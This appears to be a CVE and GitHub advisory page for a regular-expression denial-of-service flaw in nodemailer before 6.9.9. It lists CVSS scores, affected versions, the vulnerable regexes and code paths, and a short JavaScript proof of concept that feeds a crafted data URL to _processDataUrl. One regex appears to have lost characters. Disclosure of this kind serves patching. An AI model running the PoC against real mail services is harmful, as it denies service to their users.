6.9medium
nodemailer before 6.9.9 ReDoS via attachDataUrls parameter
- Severity
- 6.9medium CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.30% (higher than 25% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-9h6g-pr28-7cqp
Description
nodemailer before 6.9.9 contains a regular expression denial of service vulnerability in email parsing when attachDataUrls parameter is set or processing embedded file attachments. Attackers can send specially crafted emails with malicious data URLs or embedded attachments to cause the event loop to hang and deny service.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| nodemailer nodemailer | before 6.9.9 Not affected: 6.9.9 | CVE List |
| nodemailer (npm) | before 6.9.9 | GitHub Advisory Database |
All scores
| VulnCheck | 6.9medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
| VulnCheck | 5.3medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| GitHub | 5.3medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
nodemailer before 6.9.9 contains a regular expression denial of service vulnerability in email parsing when attachDataUrls parameter is set or processing embedded file attachments. Attackers can send specially crafted emails with malicious data URLs or embedded attachments to cause the event loop to hang and deny service.
GitHub Advisory Database
Summary
A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.
Details
Regex: /^data:((?:[^;];)(?:[^,])),(.)$/
Path: compile -> getAttachments -> _processDataUrl
Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/
Path: _convertDataImages
PoC
https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
async function exploit() {
const MailComposer = require(\"nodemailer/lib/mail-composer\");
const MailComposerObject = new MailComposer();
// Create a malicious data URL that will cause excessive backtracking
// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
// Call the vulnerable method with the crafted input
const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}
await exploit();
Impact
ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.
NVD (es)
nodemailer versiones anteriores a 6.9.9 contiene una vulnerabilidad de denegación de servicio basada en expresiones regulares en el análisis de correos electrónicos cuando el parámetro attachDataUrls está configurado o al procesar archivos adjuntos incrustados. Los atacantes pueden enviar correos electrónicos especialmente diseñados con URL de datos maliciosas o archivos adjuntos incrustados para provocar que el bucle de eventos se bloquee y cause una denegación de servicio.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-58379 changed 2026-08-31 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-9h6g-pr28-7cqp changed 2026-09-01 | CC-BY-4.0 |
| NVD | CVE-2024-58379 changed 2026-10-27 | Public domain |